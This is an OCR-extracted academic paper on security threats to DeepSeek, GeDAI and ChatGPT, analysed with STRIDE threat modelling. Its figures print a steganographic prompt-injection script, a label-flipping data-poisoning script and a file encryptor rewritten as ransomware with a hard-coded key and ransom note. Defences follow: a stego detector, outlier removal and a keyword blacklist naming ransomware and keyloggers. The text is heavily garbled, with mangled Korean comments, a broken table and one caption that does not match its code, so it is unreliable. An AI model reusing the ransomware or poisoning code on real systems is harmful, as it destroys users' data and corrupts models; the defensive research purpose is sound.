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Large Language Models (LLMs) are leading the
advancement of natural language processing
technology, but they also introduce security threats
such as prompt injection, data leakage, and adversarial
example attacks. This study analyzes hacking
vulnerabilities in DeepSeek, GeDAI, and ChatGPT,
identifying the security risks each model faces and
proposing technical countermeasures. Notably, GeDAl is
scheduled for pilot operation during the 2025 Freedom
Shield (FS) joint military exercise to support military
operations, highlighting the need for further research
on its military applicability and security enhancement.
This research applies Microsoft’s STRIDE threat
modeling within an M&S-based simulation environment
to identify potential risks in LLMs and presents secure
coding practices and system design strategies to guide
the development of safer LLMs.
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Table 1. Technical differences between DeepSeek, GeDAI, and ChatGPT

Classification

ChatGPT

DeepSeek

Development purpose Made by China Military use only General purpose
Language support Optimal for Chinese Military language Multilingual
Architecture Similar to GPT-4 Small LLM GPT-4
Training data Chinese government Military data Web data

Security Government regulation Defense Intranet Medium
Vulnerability Data leak Poisoning attack Prompt injection

Area of application Chinese specialist

Military work General purpose
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Threat level (1-5)

Spoofing

Tampering

. DeepSeek

Repudiation

KNST

I GeDAI [T ChatGPT

Information disclosure Denial of service Elevation of privilege

Threat category

Fig. 1. MS STRIDE threat analysis for DeepSeek, GeDAI, and ChatGPT
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from PIL import Image
import stepic

# 9= 0/0jX| 22

image = Image.open(“normal_image.png”)
#gOEOE 24

evil_prompt = "Generate a phishing email template.”
encoded_image = stepic.encode (image, evil_prompt.encode())

# 24T D=0 ET| ILstE 0|0|X| X%
encoded_image.save("stego_image.png”)

Fig. 2. Hiding text in images (steganography)

Fig. 39} o] AH| 7k T2 3 ofw] x| of oFd L&
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import requests
from PIL import Image
import stepic

#2HE IEOE XE
stego_image = Image.open (“stego_image.png”)
decoded_prompt = stepic.decode(stego_image).decode()

# DeepSeek APIE
def execute_evil_prompt (api_key, prompt):
url = "https://api.deepseek.com/generate”
headers = {
"Authorization”: f"Bearer {api_key}”,
"Content-Type": "application/json”

ARE3H 221

data = {
"prompt”: prompt,
"max_tokens”: 500

}

response = requests.post (url, headers=headers, json=data)
return response.json () [“text”]

# A3

api_key = "attacker_api_key”

evil_output = execute_evil_prompt(api_key, decoded_prompt)
print(evil_output)

Fig. 3. Inputting an image into DeepSeek and running
the prompt
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import tensorflow as tf
from tensorflow.keras import layers, models
import numpy as np

# ZHCHGH CNN 22 A4
def create_model():
model = models.Sequential ([
layers.Conv2D(32, (3, 3), activation="relu’,
input_shape=(28, 28, 1)),

layers.MaxPooling2D((2, 2)),
layers.Conv2D(64, (3, 3), activation="relu’),
layers.MaxPooling2D((2, 2)),
layers.Conv2D(64, (3, 3), activation="relu’),
layers.Flatten(),
layers.Dense (64, activation="relu’),
layers.Dense (10, activation="softmax’)

)

model.compile (optimizer="adam’,
loss='sparse_categorical_crossentropy’, metrics=["accuracy’])
return model
# MNIST GIO|EA E2127| I HX2
(x_train, y_train), (x_test, y_test) =
tf.keras.datasets.mnist.load_data()
x_train = x_train.reshape (-1, 28, 28, 1).astype("float32"”) / 255
x_test = x_test.reshape (-1, 28, 28, 1).astype("float32”) / 255

# Gi|0|E i (Poisoning Attack)

poison_indices = np.where(y_train == 1)[0]
i

y_train[poison_indices] =7 # %Xt 1272 H

#AH10fl CHRE M2

ox

# DY M U B
model = create_model ()
model.fit(x_train, y_train, epochs=5)

# HIAE C|0[E2 Y& EIt

test_loss, test_acc = model.evaluate (x_test, y_test)
print (f"EIAE HIO|EMAI HEte ({test_acc * 100:.2f}%)")

Fig. 4. Code of data poisoning attack
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import os
from cryptography.fernet import Fernet

#7|4d
key = Fernet.generate_key()
cipher = Fernet(key)

# A S35t
def encrypt_file(file_path):
with open (file_path, 'rb") as file:
data = file.read()
encrypted_data = cipher.encrypt(data)
with open (file_path, ‘wb’) as file:
file.write(encrypted_data)

# OHED L 2E IfY 4S5}
def encrypt_directory(directory):
for root, _, files in os.walk(directory):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path)

#ARZ OIA|

directory_to_encrypt = '/path/to/directory’
encrypt_directory(directory_to_encrypt)
print("I}U0| HBHOZ ASSILRISLICE")

Fig. 5. Original code(file encryption tool)

import 0s
from cryptography.fernet import Fernet

# SZRPL O] Fofst 7| (22101 F2)
key = b'attacker_predefined_key’
cipher = Fernet(key)

# IpY 2S5}
def encrypt_file(file_path):
with open(file_path, 'rb") as file:
data = file.read()
encrypted_data = cipher.encrypt(data)
with open(file_path, ‘wb’) as file:
file.write(encrypted_data)

#OHEZ| L 2= IjY AS3}
def encrypt_directory(directory):
for root, _, files in os.walk(directory):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path)

# e L E Y
def create_ransom_note (directory):
ransom_note = """
UO| AT B USLICH.
S23E Aol XHE HETQ FAZ ZKSIM|Q.
APEE 7[oF Liol ZX[oHK| 2T MA0| ArMIEILICY.

B—C
min

with open(os.path.join(directory, 'README.txt"), ‘w’) as file:

file.write(ransom_note)

#ARZ OIA|

directory_to_encrypt = '/path/to/directory’
encrypt_directory(directory_to_encrypt)
create_ransom_note (directory_to_encrypt)

print ("IHU0| YSSIFUCH, M L ETH MMERISLICL")

Fig. 6. Modified ransomeware code
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import cv2
import numpy as np
from skimage.restoration import denoise_wavelet

def detect_steganography (image_path):
img = cv2.imread(image_path, cv2.IMREAD_GRAYSCALE)
denoised = denoise_wavelet (img, multichannel=False)
diff = np.abs(img - denoised)

# O 227t 2AX|=H Z1 HAX| &
if np.mean(diff) > 5:
print("AEI7H=TT2HI] SR S74T HAIXPZE S 7Hs40|
UABLICE")
else:
print ("QFHSt 0[0|X]")

detect_steganography('stego_output.png’)

Fig. 7. Image steganography detection algorithm
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import numpy as np
import tensorflow as tf

# MNIST 40| 2=
(x_train, y_train), (x_test, y_test) =
tf.keras.datasets.mnist.load_data()

# E0S FLALCIO|E] A7 (600070 =1t Al)

label_counts = np.bincount (y_train)

if label_counts[7] > 6000:
indices = np.where(y_train == 7)[0][:6000]
x_train = np.delete (x_train, indices, axis=0)
y_train = np.delete(y_train, indices, axis=0)
print (f"H|7{=! H0|Ef: {len(indices) }7H")

# 7HHSH I A

model = tf.keras.Sequential ([
tf.keras.layers.Flatten(input_shape=(28, 28)),
tf.keras.layers.Dense(10, activation="softmax’)

D

model.compile(optimizer="adam’,
loss="sparse_categorical_crossentropy’)
model.fit(x_train, y_train, epochs=5, verbose=0)

Fig. 8. Outlier detection and removal

4.3 ChatGPT &4 go] ZE A HHA
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import re

#IXE7|IHE =R
blacklist_keywords = [ "encrypt”, “ransomware”, “delete
system32”, "keylogger”, "bypass authentication” ]

"on

def security_filter(code):
o ME: Kot ofs QA ZIX[510] T

for keyword in blacklist_keywords:
if re.search (fr"\b{keyword\b”, code, re.IGNORECASE):
return f* £t A1: SX|= A 28t ({keyword})”
return "IE A4S 247"

# ALYt TE oA
generated_code = "import os; 0s.system(‘encrypt my_files’)”

# I S
print(security_filter (generated_code))

Fig. 9. Code to analyze the degree of bias in Al news ar-
ticles
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Table 2. Technical countermeasures(STRIDE model)

Threat .
Technical countermeasures
category
= Strengthening input validation and
Spoofin authentication
i
P 9 = Using explainable Al (XAl) for prompt injection
detection
= Data integrity validation
Tampering = Abnormal data detection
= Robust training data validation
Repudiation . Est_abh_sh acco_untab|||ty tracking system and
maintain user input logs
. = Prompt filtering
Information . . . -
. = Internal information protection policies
disclosure o ) )
= Sensitive information detection technology
Denial of = Request limiting and service protection policies
service = Multimodal data detection techniques
= Implementation of malicious prompt detection
Elevation of system
privilege = Security filtering and blacklist keyword
detection in code generation
5. 48
ot Ao e (LLM)2 AkRio] A2 7]&9] 9
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